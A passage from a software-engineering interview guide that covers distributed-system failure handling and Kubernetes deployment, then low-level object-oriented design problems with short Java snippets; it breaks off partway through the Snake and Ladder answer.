Q18 **Services A to B to C each retry 3 times on failure. C goes down and B and C melt. What happened?** ADVANCED

Retries multiply: A's 3 attempts each cause B's 3 attempts, giving up to 9 calls on C per original request (27 with a third layer), a retry storm that prevents recovery.

- Retry only at the outermost safe layer or use retry budgets.
- Exponential backoff with jitter, and circuit breakers so calls stop while C is down.
- Propagate a deadline so B stops retrying once A has given up.
- Load shedding at C (reject early with 503) and rate limit retries per client.
- Return `Retry-After`/gRPC retry throttling to coordinate clients.

> **FOLLOW-UP TRAPS**
> - **Why does amplification continue after the original failure?** Queues of retries keep C saturated (metastable failure) until load is shed.
> - **Should clients always honour `Retry-After`?** Yes; ignoring it prolongs the outage.

#retry-storm #amplification

Q19 **Build leader election for a single-active background processor across 5 replicas on Kubernetes.** ADVANCED

Use a lease-based election in a consensus-backed store: the Kubernetes Lease object (client-go style, Spring Cloud Kubernetes leader), etcd, or ZooKeeper (Curator `LeaderLatch`).

- Candidate acquires a lease with TTL and renews periodically; if renewal fails, it must stop work immediately.
- Fencing: pass a monotonic token (lease generation) to downstream writes so a stale leader is rejected.
- Renew interval < TTL/3 and account for clock skew and GC pauses.
- Keep processing idempotent because brief dual-leader windows can occur.

> **FOLLOW-UP TRAPS**
> - **What if the leader is partitioned but still thinks it leads?** It must self-fence when it cannot renew; fencing tokens protect the data.
> - **Why not use a DB row?** Works for simple cases, but lease and failure semantics are easier to get wrong.

#leader-election #kubernetes #lease

Q20 **Choose between orchestration and choreography for an onboarding flow with 8 steps and conditional branches.** INTERMEDIATE

Orchestration: a central workflow engine (Temporal, Camunda, Step Functions) keeps the flow explicit, handles retries, timeouts and visibility.

- Choreography across 8 steps becomes an implicit, hard-to-trace graph of event reactions with cyclic dependency risk.
- A durable workflow engine persists state, offers timers, human tasks, compensation and replay.
- Keep the orchestrator free of business logic; services own rules.
- Choreography remains fine for 2-3 loosely related reactions (e.g. send welcome email on `UserRegistered`).

FOLLOW-UP TRAPS

- **Is the orchestrator a SPOF?** It must be HA and durable; Temporal and Step Functions are built for that.
- **Does orchestration couple services?** Only to commands; services stay unaware of each other.

#saga #orchestration #workflow

Q21 After an incident you have only logs. How do you add observability to find the root cause faster next time? INTERMEDIATE

Add correlation and measurement: a trace ID everywhere, RED metrics per endpoint and dependency, and SLO-based alerts.

- Micrometer Tracing plus OpenTelemetry collector; inject trace ID into MDC and JSON logs.
- Metrics per downstream: request rate, error rate, latency histograms, circuit breaker state, pool saturation, queue depth, consumer lag.
- Exemplars link a slow histogram bucket to a trace.
- Dashboards by golden signals, runbooks per alert, deploy markers on graphs to correlate changes.
- Structured logs with request context, not stack-trace spam.

FOLLOW-UP TRAPS

- **Why did "CPU is fine" mislead us?** Saturation can be in pools, locks or I/O; track those resource signals too.
- **Do more alerts help?** No, alert on symptoms tied to SLOs to avoid fatigue.

#observability #incident #tracing

Q22 A Redis lock-protected operation corrupted data after a long GC pause. Explain and fix. ADVANCED

The lock lease expired during the pause; another client acquired it, and the paused client resumed and wrote, believing it still held the lock.

- Fix: fencing tokens (monotonic counter returned at lock time) validated by the storage layer (e.g. `UPDATE ... WHERE version < :token`).
- Alternatively skip the lock: optimistic concurrency (version column) or DB constraints give safety without time assumptions.
- Use a consensus-based lock service when correctness (not just efficiency) depends on it.
- Choose TTL > worst-case operation, plus a watchdog to extend while healthy.

FOLLOW-UP TRAPS

- **Does a longer TTL fix it?** No; it narrows the window but any pause can exceed it.
- **When is Redis locking acceptable?** For efficiency-only locks (avoid duplicate work) where an occasional double run is harmless.

#distributed-lock #fencing #redlock

Q23 Design health checks and graceful shutdown for services on Kubernetes so that deploys cause no 5xx. INTERMEDIATE

Combine readiness gating, a preStop delay, and graceful draining.

```
lifecycle:
  preStop:
    exec: { command: ["sleep", "10"] }
terminationGracePeriodSeconds: 40
readinessProbe:
  httpGet: { path: /actuator/health/readiness, port: 8080 }
```

- Spring Boot: `server.shutdown=graceful`, `spring.lifecycle.timeout-per-shutdown-phase=30s`; readiness flips to `REFUSING_TRAFFIC` on SIGTERM.
- The preStop sleep lets endpoints/LB deregister before the process stops accepting connections.
- Liveness separate and lenient; startup probe for slow starts.
- Consumers: stop polling and finish in-flight work before exit, commit offsets.

FOLLOW-UP TRAPS

- **Why do 5xx still occur without preStop?** Traffic still routes to the pod briefly after SIGTERM due to propagation delay.
- **Liveness vs readiness failure?** Liveness restarts the container; readiness only removes it from service.

#kubernetes #graceful-shutdown #health-checks

Q24 How do you do a database schema change with zero downtime across a rolling deployment? ADVANCED

Use expand and contract so old and new app versions work with the schema at every step.

1. Expand: add new nullable column/table (backward compatible).
2. Deploy code that writes both old and new, reads old (or new with fallback).
3. Backfill existing rows in batches.
4. Switch reads to the new column; deploy.
5. Contract: stop writing old, drop it in a later release.

- Avoid long locks: `CREATE INDEX CONCURRENTLY` (Postgres), online DDL tools (gh-ost, pt-osc).
- Never rename or drop in the same release as code that depends on it.

FOLLOW-UP TRAPS

- **Why not rename the column directly?** Old pods still query the old name and fail during rollout.
- **Does adding a column with default lock the table?** In Postgres 11+ it is metadata-only for constant defaults; older versions or volatile defaults rewrite the table.

#migration #expand-contract #deployment

Q25 Design the failure handling when your service depends on 5 downstream services in a request path. ADVANCED

Classify dependencies as critical or optional, then apply timeouts, breakers, bulkheads and fallbacks per class; fan out in parallel with a global deadline.

- Parallelize independent calls (`CompletableFuture`/structured concurrency) so latency = max, not sum.
- Optional (recommendations, reviews): short timeout, fallback to cache or empty section; page still renders.
- Critical (inventory, pricing): longer timeout, retry once with jitter, then fail clearly.
- Per-dependency circuit breaker and bulkhead; propagate overall deadline (e.g. 800 ms budget).
- Availability math: five 99.9% critical deps = 99.5%; making three optional raises it to ~99.8%.
- Observe per-dependency error and latency to see which one is spending the budget.

FOLLOW-UP TRAPS

- **Is partial content acceptable?** It depends on product; define degraded modes explicitly with stakeholders.
- **Will parallel calls overload downstreams?** They multiply concurrency; use bulkheads and rate limits.

#resilience #degradation #design

SYSTEM DESIGN · CHAPTER 5

Low-Level Design

Object-oriented design theory (SOLID, patterns, approach framework) and 20 classic LLD problems in Java - parking lot, elevator, LRU, rate limiter, Splitwise, BookMyShow, chess and more.

30 questions **8** basic **15** intermediate **7** advanced

Low-level design interviews test whether you can turn vague requirements into clean classes, interfaces and concurrency-safe behaviour in about 45 minutes. Code below is trimmed to the load-bearing parts.

Theory

Q1 What approach framework do you follow in an LLD interview? BASIC

Clarify requirements, identify entities and their relationships, define interfaces and behaviours, pick patterns only where variation exists, then code the core flow and discuss concurrency and extensions.

1. Requirements: functional scope, what is out of scope, scale (single JVM vs distributed).
2. Entities: nouns become classes, verbs become methods; draw ownership (has-a) and inheritance (is-a).
3. Contracts: interfaces for the parts that vary (pricing, strategy, state).
4. Core flow: write the happy path end to end, then edge cases.
5. Concurrency and extensibility: where is shared mutable state, what changes next.

FOLLOW-UP TRAPS

- **Should you start coding immediately?** No, 5-8 minutes of requirements and a class sketch prevent rewrites.
- **Do you need a pattern in every design?** No, forcing patterns is a common negative signal.

#approach #framework

Q2 Explain the five SOLID principles with a one-line Java example each. BASIC

SOLID is five guidelines that keep classes small, replaceable and open to extension.

- **S** Single Responsibility: `InvoicePrinter` prints, `InvoiceCalculator` computes; one reason to change.
- **O** Open/Closed: add a new `DiscountStrategy` implementation instead of editing an `if/else` chain.
- **L** Liskov Substitution: a `Square extends Rectangle` that breaks `setWidth` semantics violates it; subtypes must honour the supertype contract.
- **I** Interface Segregation: split `Worker` into `Workable` and `Eatable` so robots are not forced to implement `eat()`.
- **D** Dependency Inversion: `OrderService` depends on `PaymentGateway` (interface), injected via constructor.

FOLLOW-UP TRAPS

- **Is SRP "one method per class"?** No, it means one axis of change/one actor.
- **Does DIP equal dependency injection?** No, DIP is the principle; DI is a technique to achieve it.

#solid #oop

Q3 Composition vs inheritance: when do you choose which? BASIC

Prefer composition for reuse and runtime flexibility; use inheritance only for a genuine is-a relationship with a stable contract.

- Inheritance couples subclass to parent internals (fragile base class) and is fixed at compile time.
- Composition lets you swap behaviour at runtime (`Vehicle` has a `FeeStrategy`).
- Java has single class inheritance, so composition plus interfaces avoids hierarchy explosions (`ElectricSUV`, `ElectricSedan`...).
- Sealed classes (Java 17) give controlled hierarchies when inheritance is appropriate.

FOLLOW-UP TRAPS

- **Is inheritance ever better?** Yes, for template skeletons and true subtype polymorphism (`Piece` and `Knight`).
- **Does extending `ArrayList` to make a stack work?** It exposes unwanted methods; wrap it instead.

#composition #inheritance

Q4 Which creational patterns come up most in LLD and how do you pick between them? INTERMEDIATE

Factory for choosing a concrete type from input, Builder for objects with many optional fields, Singleton for a single shared coordinator (use sparingly).

- Factory Method/Simple Factory: `VehicleFactory.create(type)` hides `new`.
- Abstract Factory: families of related objects (e.g., Windows vs Mac widgets).
- Builder: immutable `Booking` with optional fields; avoids telescoping constructors.
- Singleton: prefer an enum or DI-managed single bean; a hand-rolled one needs `volatile` double-checked locking.

```
public enum Registry { INSTANCE; private final Map<String,Object> m = new ConcurrentHashMap<>();
public Map<String,Object> map(){ return m; } }
```

FOLLOW-UP TRAPS

- **Why is Singleton criticised?** Hidden global state, hard to test; inject instead.
- **Is a Builder just setters?** No, it validates and produces an immutable object in one `build()`.

#creational #singleton #factory #builder

Q5 Which behavioural patterns are most useful and what problem does each solve? INTERMEDIATE

Strategy swaps algorithms, State models lifecycle-dependent behaviour, Observer broadcasts events, Command encapsulates requests, Template Method fixes a skeleton.

- Strategy: pricing, eviction policy, payment methods.
- State: vending machine, ATM, elevator, order lifecycle; each state class handles the same events differently.
- Observer: notification fan-out, pub-sub, stock price listeners.
- Command: undo/redo, task queues, schedulers.
- Chain of Responsibility: logger levels, ATM cash dispensers, approval flows.

FOLLOW-UP TRAPS

- **Strategy vs State?** Strategy is chosen by the client and rarely changes; State transitions itself.
- **Observer vs pub-sub?** Observer is direct references in one process; pub-sub decouples via a broker/topics.

#behavioural #strategy #state #observer

Q6 Which structural patterns appear in interviews and how do you recognise the need? INTERMEDIATE

Adapter converts an incompatible interface, Decorator adds behaviour by wrapping, Facade simplifies a subsystem, Composite treats trees uniformly, Proxy controls access.

- Adapter: wrap a third-party `StripeClient` behind your `PaymentGateway`.
- Decorator: `BufferedInputStream(new FileInputStream(..))`, toppings on a pizza, rate-limiting wrapper.
- Composite: file system (`Directory` and `File` share `Node`).
- Proxy: lazy loading, caching, access control.
- Facade: `BookingService` hiding seat, payment and notification calls.

FOLLOW-UP TRAPS

- **Decorator vs Proxy?** Decorator adds responsibilities; proxy controls access to the same interface.
- **Adapter vs Facade?** Adapter changes one interface; Facade offers a simpler interface over many.

#structural #decorator #adapter #facade #composite

Q7 How do you decide where concurrency control goes in an LLD, and which Java tools do you reach for? INTERMEDIATE

Identify the invariant that spans multiple fields, protect it with the narrowest lock that covers it, and prefer lock-free structures for single-variable state.

- `synchronized` / `ReentrantLock` for compound invariants (seat booking, balance transfer).
- `ConcurrentHashMap.compute/merge` for atomic per-key updates.
- `AtomicInteger` / `LongAdder` for counters; `CAS` loops for simple state.
- `ReadWriteLock` / `StampedLock` for read-heavy structures.
- Always acquire multiple locks in a consistent order (e.g., by account id) to avoid deadlock.

FOLLOW-UP TRAPS

- **Is a `ConcurrentHashMap` check-then-put safe?** No, use `putIfAbsent` / `computeIfAbsent`.
- **Does `volatile` make `count++` atomic?** No.

#concurrency #locks

Q8 How do you model entities, enums and value objects well in Java 17+? BASIC

Use records for immutable value objects, enums (with fields/behaviour) for closed sets, sealed interfaces for closed type hierarchies, and mutable classes only for entities with identity and lifecycle.

```
public record Money(long cents, String currency) {
    public Money { if (cents < 0) throw new IllegalArgumentException(); }
    public Money plus(Money o) { return new Money(cents + o.cents, currency); }
}
public sealed interface Shape permits Circle, Rect {}
public record Circle(double r) implements Shape {}
public record Rect(double w, double h) implements Shape {}
```

- Never use `double` for money; use `long` minor units or `BigDecimal`.
- Override `equals/hashCode` only for value semantics (records do it for you).

FOLLOW-UP TRAPS

- **Can a record extend a class?** No; it implicitly extends `java.lang.Record` but can implement interfaces.
- **Is a record deeply immutable?** Only if its components are.

#records #enums #modeling

Q9 What do you do when requirements change mid-interview ("now add X")? INTERMEDIATE

Show that a good seam already exists: add an implementation of an interface or a new state class rather than modifying core logic. If no seam exists, say so, refactor minimally, and explain the cost.

- Typical extensions: new vehicle type, new payment method, new eviction policy, new notification channel.
- Point to the specific interface you would implement and the registry/factory that wires it.

- Mention backward compatibility (defaults, enum additions) and tests.

> **FOLLOW-UP TRAPS**
> - **Should you design for every future change up front?** No, that is over-engineering; design seams at known axes of variation only.
> - **Is an `instanceof` chain acceptable?** It signals a missing polymorphic method or visitor.

#extensibility #ocp

Q10 How do you test an LLD and what do you say about testability in an interview? INTERMEDIATE

Inject dependencies (clock, ID generator, strategies, repositories) so unit tests can use fakes, and name the 3-4 scenarios you would test, including a concurrency test.

- Inject `Clock` instead of calling `Instant.now()`; makes parking fees and TTL deterministic.
- Keep pure logic (pricing, move validation) in side-effect-free methods.
- Concurrency test: `ExecutorService` with N threads and `CountDownLatch` hammering `book(seat)`; assert exactly one success.

> **FOLLOW-UP TRAPS**
> - **Why not call `System.currentTimeMillis()` directly?** It makes time-dependent logic untestable.
> - **Is mocking the class under test fine?** No, mock collaborators only.

#testing #dependency-injection

Scenarios

Q11 Design a parking lot. INTERMEDIATE

Model `ParkingLot` with floors of typed spots, issue a `Ticket` on entry, compute a fee by strategy on exit.

- Requirements: multiple floors, vehicle types (bike, car, truck), spot types, entry/exit gates, hourly pricing, full-lot handling.
- Entities: `ParkingLot`, `Floor`, `Spot` (type, occupied), `Vehicle`, `Ticket`, `FeeStrategy`, `SpotAllocationStrategy` (nearest, lowest floor).
- Concurrency: two cars must not get the same spot; use an atomic `tryOccupy()` per spot (CAS) or a lock per floor.
- Extensions: EV charging spots, reservations, payment, display boards (Observer).

```
class Spot {
    private final AtomicBoolean taken = new AtomicBoolean();
    final SpotType type;
    Spot(SpotType t){ type = t; }
    boolean tryOccupy(){ return taken.compareAndSet(false, true); }
    void free(){ taken.set(false); }
}
class ParkingLot {
    Optional<Ticket> park(Vehicle v, Instant now) {
        for (Floor f : floors)
            for (Spot s : f.spotsFor(v.type()))
                if (s.tryOccupy()) return Optional.of(new Ticket(UUID.randomUUID(), v, s, now));
        return Optional.empty();
    }
}
```

- Fee: `FeeStrategy.compute(Duration)` with hourly slabs; pick via vehicle type.
- Keep free spots in a queue per type for O(1) allocation instead of scanning.

FOLLOW-UP TRAPS

- **What if a bike takes a car spot?** Define compatibility rules (a car spot accepts bikes only as fallback) in the allocation strategy.
- **How do you handle a lost ticket?** Look up by plate (index) and charge the max-day fee.

#parking-lot #strategy #factory

Q12 Design an elevator system.

ADVANCED

Model each `Elevator` as a state machine (IDLE, MOVING_UP, MOVING_DOWN, DOOR_OPEN) with sorted stop sets, and a `Dispatcher` that assigns hall calls using a scheduling strategy.

- Requirements: N elevators, M floors, hall calls (up/down) and cab calls (floor), capacity, door open/close.
- SCAN (elevator) algorithm: continue in current direction serving stops via `TreeSet`, then reverse.
- Dispatcher strategy: nearest car moving in the same direction, else idle nearest; pluggable `DispatchStrategy`.
- Concurrency: each elevator runs a single-threaded loop consuming a queue of requests; dispatcher only enqueues.

```
class Elevator {
    int floor; Direction dir = Direction.IDLE;
    final TreeSet<Integer> up = new TreeSet<>(), down = new TreeSet<>();
    void addStop(int f) { (f >= floor ? up : down).add(f); }
    Integer nextStop() {
        if (dir != Direction.DOWN && !up.isEmpty()) { dir = Direction.UP; return up.first(); }
        if (!down.isEmpty()) { dir = Direction.DOWN; return down.last(); }
        dir = Direction.IDLE; return null;
    }
}
```

FOLLOW-UP TRAPS

- **Why not FCFS?** Causes zig-zagging and starvation of efficiency; SCAN reduces travel.
- **How do you handle overload?** Skip hall calls when weight sensor says full and keep the stop pending.

#elevator #state #scheduling

Q13 Design a vending machine.

INTERMEDIATE

Use the State pattern: `Idle`, `HasMoney`, `Dispensing`, `OutOfService`, each handling `insertCoin`, `select`, `cancel` differently.

- Entities: `VendingMachine`, `Inventory` (slot -> product, qty), `Product`, `Coin` enum, `State`.
- Rules: dispense only when balance >= price, return change, refund on cancel, reject when sold out.
- Change-making: greedy works for canonical coin sets; otherwise DP.

```
interface State {
    default void insert(VendingMachine m, int cents){ throw new IllegalStateException(); }
    default void select(VendingMachine m, String slot){ throw new IllegalStateException(); }
}
class Idle implements State {
    public void insert(VendingMachine m, int c){ m.addBalance(c); m.setState(new HasMoney()); }
}
class HasMoney implements State {
    public void insert(VendingMachine m, int c){ m.addBalance(c); }
    public void select(VendingMachine m, String slot){ m.dispense(slot); }
}
```

- Make operations `synchronized` on the machine: it is one physical device.

FOLLOW-UP TRAPS

- **Why not a big switch on state?** Every new state edits all methods; State confines changes to one class.
- **How do you handle insufficient change?** Reject the purchase before dispensing and refund.

#vending-machine #state-pattern

Q14 Implement an LRU cache with O(1) get and put. INTERMEDIATE

Combine a hash map for lookup with a doubly linked list for recency order; both get and put are O(1). In Java, `LinkedHashMap` with access order does this in a few lines.

```
class LRUCache<K, V> extends LinkedHashMap<K, V> {
    private final int capacity;
    LRUCache(int capacity) { super(16, 0.75f, true); this.capacity = capacity; }
    @Override protected boolean removeEldestEntry(Map.Entry<K, V> e) { return size() > capacity;
}
}
```

- Interviewers often want the manual version: `Map<K, Node>` plus head/tail sentinels; `get` moves the node to head, `put` evicts tail when full.
- Not thread-safe; wrap with `Collections.synchronizedMap` or a lock (even `get` mutates order).

FOLLOW-UP TRAPS

- **Why does `get` need a write lock?** It reorders the list.
- **How do you make it concurrent at scale?** Segment into shards by key hash, or use Caffeine (Window TinyLFU).

#lru #linkedhashmap #data-structures

Q15 Design a rate limiter (single JVM). INTERMEDIATE

Define a `RateLimiter.allow(key)` interface and implement algorithms behind it; token bucket is the usual default because it allows bursts with a steady refill rate.

- Algorithms: fixed window (boundary bursts), sliding window log (exact, memory heavy), sliding window counter (approximate), token bucket, leaky bucket.
- Lazy refill: compute tokens from elapsed time on each call; no background thread.

```
class TokenBucket {
    private final long capacity; private final double refillPerNano;
    private double tokens; private long last;
    TokenBucket(long cap, double perSec){ capacity=cap; refillPerNano=perSec/1e9; tokens=cap;
last=System.nanoTime(); }
    synchronized boolean tryAcquire() {
        long now = System.nanoTime();
        tokens = Math.min(capacity, tokens + (now - last) * refillPerNano);
        last = now;
        if (tokens >= 1) { tokens -= 1; return true; }
        return false;
    }
}
```

- Keep a `ConcurrentHashMap<String, TokenBucket>` per user/IP and evict idle entries.

FOLLOW-UP TRAPS

- **Why use `nanoTime` over `currentTimeMillis`?** It is monotonic; wall clock can jump.
- **What breaks in a multi-instance deployment?** State is per-JVM; move it to Redis (see the HLD rate limiter).

#rate-limiter #token-bucket #strategy

Q16 Design a logger framework (like Log4j). INTERMEDIATE

`Logger` creates `LogRecord`s, filters by level, and hands them to `Appender`s (console, file, async) that format with a `Formatter`.

- Entities: `Level` enum (DEBUG<INFO<WARN<ERROR), `Logger` (name, level, appenders), `Appender`, `Formatter`, `LoggerFactory` (cached per name).
- Patterns: Strategy (formatter), Observer-style appenders, Chain of Responsibility for level handlers, Singleton-ish factory.
- Performance: check `isEnabled(level)` before building messages; async appender with a bounded `BlockingQueue` and a drainer thread; define the overflow policy (drop or block).

```
enum Level { DEBUG, INFO, WARN, ERROR }
interface Appender { void append(LogRecord r); }
class Logger {
    private final List<Appender> appenders = new CopyOnWriteArrayList<>();
    private volatile Level level = Level.INFO;
    void log(Level l, String msg) {
        if (l.compareTo(level) < 0) return;
        LogRecord r = new LogRecord(l, msg, Instant.now());
        appenders.forEach(a -> a.append(r));
    }
}
```

FOLLOW-UP TRAPS

- **Why `CopyOnWriteArrayList`?** Reads vastly outnumber appender changes, and iteration is lock free.
- **What if the file appender is slow?** It blocks callers unless made async; choose drop-oldest vs block explicitly.

#logger #chain-of-responsibility #observer

Q17 Design Splitwise (expense sharing). ADVANCED

Record each expense with a split strategy (equal, exact, percent), update a net balance per user pair, and simplify debts by reducing net balances with a greedy matching.

- Entities: `User`, `Group`, `Expense` (payer, amount, splits), `Split`, `SplitStrategy`, `BalanceSheet`.
- Validation: exact splits sum to total; percentages sum to 100; use `long` cents and assign the rounding remainder to the payer.
- Simplify: compute each user's net (owed minus owes); repeatedly match the max creditor with the max debtor via two heaps; at most n-1 transactions.

```
interface SplitStrategy { Map<String, Long> split(long total, List<String> users, Map<String,
Long> params); }
class EqualSplit implements SplitStrategy {
    public Map<String, Long> split(long total, List<String> u, Map<String, Long> p) {
        long each = total / u.size(), rem = total % u.size();
        Map<String, Long> m = new LinkedHashMap<>();
        for (int i = 0; i < u.size(); i++) m.put(u.get(i), each + (i < rem ? 1 : 0));
        return m;
    }
}
```

FOLLOW-UP TRAPS

- **Is the greedy debt simplification minimal?** Minimizing the number of transactions is NP-hard in general; greedy gives at most n-1.
- **Why not `double`?** Rounding drift makes balances not sum to zero.

#splitwise #strategy #graph

Q18 Design BookMyShow (movie ticket booking). ADVANCED

Model `City -> Theatre -> Screen -> Show -> ShowSeat`, with seat status AVAILABLE/LOCKED/BOOKED; locking a seat with a TTL during payment prevents double booking.

- Entities: `Movie`, `Theatre`, `Screen`, `Show`, `Seat`, `ShowSeat` (per show state), `Booking`, `Payment`.
- Flow: search shows, pick seats, `lockSeats` (all or nothing), pay, `confirm`; unpaid locks expire.
- Lock acquisition must be atomic across multiple seats; sort seat ids and lock in order to avoid deadlock.

```
class ShowSeat {
    enum S { AVAILABLE, LOCKED, BOOKED }
    S status = S.AVAILABLE; Instant lockedUntil;
    synchronized boolean tryLock(Instant now, Duration ttl) {
        if (status == S.LOCKED && now.isAfter(lockedUntil)) status = S.AVAILABLE;
        if (status != S.AVAILABLE) return false;
        status = S.LOCKED; lockedUntil = now.plus(ttl); return true;
    }
}
```

- If locking seat 3 of 4 fails, release 1-2 (rollback). In the distributed version this is a DB row update with `WHERE status='AVAILABLE'` or a Redis lock with TTL.

FOLLOW-UP TRAPS

- **Why a lock TTL?** A user abandoning checkout would otherwise hold seats forever.
- **What if payment succeeds after lock expiry?** Re-check the lock at confirm; refund if the seat was taken.

#bookmyshow #concurrency #seat-locking

Q19 Design a library management system. BASIC

Separate the catalog (`Book` metadata) from physical copies (`BookItem`), with `Member`, `Loan` and `Fine` entities; policies for loan length and fines are strategies.

- Requirements: search by title/author/ISBN, checkout/return, reservations, fines, max 5 books per member.
- `Book` (isbn, title, authors) has many `BookItem` (barcode, status AVAILABLE/LOANED/RESERVED).
- Checkout: validate member limit, item availability, create `Loan(due = now + 14d)`.
- Return: compute fine `daysLate * rate`; if reservations exist, notify the first (Observer).
- Search: index by title/author maps (or an inverted index) rather than scanning.

```
class Loan {
    final BookItem item; final Member member; final LocalDate due;
    long fine(LocalDate returned, long perDayCents) {
        return Math.max(0, ChronoUnit.DAYS.between(due, returned)) * perDayCents;
    }
}
```

FOLLOW-UP TRAPS

- **Why split `Book` and `BookItem`?** Many copies share metadata, but loan status is per copy.
- **How do you handle two members taking the last copy?** Make `checkout` atomic on the item (CAS/lock).

#library #entities #observer

Q20 Design an ATM. INTERMEDIATE

An `ATM` is a state machine (IDLE, CARD_INSERTED, PIN_VERIFIED, TRANSACTION) talking to a `BankService` interface; cash dispensing uses Chain of Responsibility over denominations.

- Flow: insert card, verify PIN (3 attempts then retain card), choose operation, execute, eject card.
- Entities: `Card`, `Account`, `CashDispenser`, `Transaction` (withdraw, balance, deposit).

- Withdrawal must be atomic: debit account first with a transaction id, dispense cash, and reverse the debit if the dispenser fails.
- Dispense: `Handler500 -> Handler200 -> Handler100`, each takes as many notes as possible and passes on the remainder.

```
abstract class NoteHandler {
    NoteHandler next; final int denom;
    NoteHandler(int d){ denom = d; }
    void dispense(int amount, Map<Integer,Integer> out) {
        if (amount >= denom) { out.put(denom, amount / denom); amount %= denom; }
        if (amount > 0 && next != null) next.dispense(amount, out);
    }
}
```

FOLLOW-UP TRAPS

- **What if the machine runs out of 500 notes?** Handlers must check available inventory and fall through.
- **How do you make it idempotent after a crash?** Persist the transaction id and state; reconcile on restart.

#atm #state #chain-of-responsibility

Q21 Design a chess game. ADVANCED

Model `Board` (8x8 of `Square`), an abstract `Piece` with `canMove(board, from, to)` per subclass, and a `Game` that enforces turns, check and checkmate.

- Entities: `Game`, `Board`, `Piece` (King, Queen, Rook, Bishop, Knight, Pawn), `Player`, `Move`.
- Polymorphism: each piece implements its movement; sliding pieces share a path-clear check in a base class.
- Game rules: turn order, cannot leave own king in check, special moves (castling, en passant, promotion), draw/stalemate.
- Check detection: after a tentative move, test whether any opponent piece attacks the king; undo if so. Store `Move` history for undo (Command).

```
abstract class Piece {
    final Color color;
    Piece(Color c){ color = c; }
    abstract boolean canMove(Board b, int fr, int fc, int tr, int tc);
}
class Knight extends Piece {
    Knight(Color c){ super(c); }
    boolean canMove(Board b, int fr, int fc, int tr, int tc) {
        int dr = Math.abs(fr - tr), dc = Math.abs(fc - tc);
        return dr * dc == 2 && !b.isOwn(tr, tc, color);
    }
}
```

FOLLOW-UP TRAPS

- **Where does checkmate logic live?** In `Game`, not `Piece`, since it needs whole-board knowledge.
- **How do you implement undo?** Keep a stack of `Move` objects including captured piece and prior state.

#chess #polymorphism #game

Q22 Design a notification service. INTERMEDIATE

A `NotificationService` accepts an event, resolves user preferences, renders a template, and sends via channel strategies (email, SMS, push), asynchronously with retries.

- Entities: `Notification`, `Channel` interface, `Template`, `UserPreference`, `NotificationService`.
- Adding a channel means implementing `Channel` and registering it; no change to the service (OCP).

- Reliability: send via a thread pool or queue; retry with backoff; record status; dedupe via an idempotency key.

```
interface Channel { void send(String to, String body) throws Exception; }
class NotificationService {
    private final Map<String, Channel> channels; private final ExecutorService pool =
Executors.newFixedThreadPool(8);
    NotificationService(Map<String, Channel> c){ channels = c; }
    void notify(User u, String body) {
        for (String ch : u.enabledChannels())
            pool.submit(() -> {
                try { channels.get(ch).send(u.addressFor(ch), body); }
                catch (Exception e) { /* retry/backoff, record failure */ }
            });
    }
}
```

FOLLOW-UP TRAPS

- **Why not call channels synchronously?** One slow provider blocks the caller.
- **How do you stop duplicate sends on retry?** Idempotency key per (event, user, channel).

#notification #strategy #observer

Q23 Design an in-memory pub-sub system. INTERMEDIATE

A `Broker` maps topics to subscribers; publishing appends to a per-topic log and each subscriber consumes at its own offset via its own thread or queue, so slow consumers do not block publishers.

- Entities: `Topic`, `Message`, `Publisher`, `Subscriber` (functional interface), `Broker`.
- Simple version: `ConcurrentHashMap<String, CopyOnWriteArrayList<Subscriber>>`, publish iterates and dispatches on an executor.
- Better: per-subscriber `BlockingQueue` + worker, giving ordering per subscriber and isolation.
- Optional: consumer groups, message offsets for replay, acknowledgments, dead-letter queue.

```
class Broker {
    private final Map<String, List<BlockingQueue<String>>> subs = new ConcurrentHashMap<>();
    BlockingQueue<String> subscribe(String topic) {
        BlockingQueue<String> q = new LinkedBlockingQueue<>();
        subs.computeIfAbsent(topic, t -> new CopyOnWriteArrayList<>()).add(q);
        return q;
    }
    void publish(String topic, String msg) {
        subs.getOrDefault(topic, List.of()).forEach(q -> q.offer(msg));
    }
}
```

FOLLOW-UP TRAPS

- **What if a subscriber is slow and the queue is unbounded?** Memory leak; use a bounded queue and an overflow policy.
- **Is ordering guaranteed?** Per subscriber queue yes; across topics no.

#pub-sub #observer #concurrency

Q24 Design an in-memory file system. INTERMEDIATE

Use the Composite pattern: `Node` is either a `Directory` (map of children) or a `File` (content); path operations walk the tree by splitting on `/`.

- Operations: `mkdir -p`, `ls`, `addContentToFile`, `readContentFromFile`, `rm`, optionally `find`.
- `Directory` keeps a `TreeMap<String, Node>` so `ls` is lexicographic.

- Each operation resolves the path in O(depth); thread safety via a `ReadWriteLock` on the tree or per-directory locks.

```
abstract class Node { final String name; Node(String n){ name = n; } }
class FileNode extends Node { StringBuilder data = new StringBuilder(); FileNode(String n){
super(n); } }
class Dir extends Node {
    final TreeMap<String, Node> kids = new TreeMap<>();
    Dir(String n){ super(n); }
    Dir mkdir(String name) { return (Dir) kids.computeIfAbsent(name, Dir::new); }
}
```

FOLLOW-UP TRAPS

- **How would you add permissions or symlinks?** Add metadata on `Node`; symlinks need cycle detection when resolving.
- **How to compute directory size?** Recursive via the composite, or cached and invalidated on writes.

#file-system #composite #trie

Q25 Design Tic-Tac-Toe (N x N) with O(1) win detection. BASIC

Keep counters per row, column and both diagonals per player; a player wins when any counter reaches N. Each move is O(1).

```
class TicTacToe {
    private final int n; private final int[] rows, cols; private int diag, anti;
    TicTacToe(int n){ this.n = n; rows = new int[n]; cols = new int[n]; }
    // player 1 adds +1, player 2 adds -1; returns winner or 0
    int move(int r, int c, int player) {
        int d = player == 1 ? 1 : -1;
        rows[r] += d; cols[c] += d;
        if (r == c) diag += d;
        if (r + c == n - 1) anti += d;
        if (Math.abs(rows[r]) == n || Math.abs(cols[c]) == n
            || Math.abs(diag) == n || Math.abs(anti) == n) return player;
        return 0;
    }
}
```

- Still validate bounds and occupied cells in a `Board` class; this snippet shows only the win check.
- Draw: moves == n*n with no winner.

FOLLOW-UP TRAPS

- **Why +1 and -1 works?** Only a row filled by one player reaches |N|.
- **How do you add an AI opponent?** `Player` interface with `HumanPlayer` and `MinimaxPlayer`.

#tic-tac-toe #game

Q26 Design Snake and Ladder. BASIC

Model `Board` with a jump map (snake heads and ladder bottoms to destinations), `Dice`, `Player` and a `Game` loop with turn queue.

- Setup: 100 cells; validate no cell is both a snake head and ladder start and that no snake ends beyond start loops.
- Turn: roll dice, if `pos + roll > 100` stay; else move, apply jump once (and follow chains if rules say so); win when exactly 100.
- Extensibility: `Dice` interface (one/two dice, loaded dice for tests), configurable board size and win rules.

```
class Board {
    private final int size; private final Map<Integer, Integer> jumps;
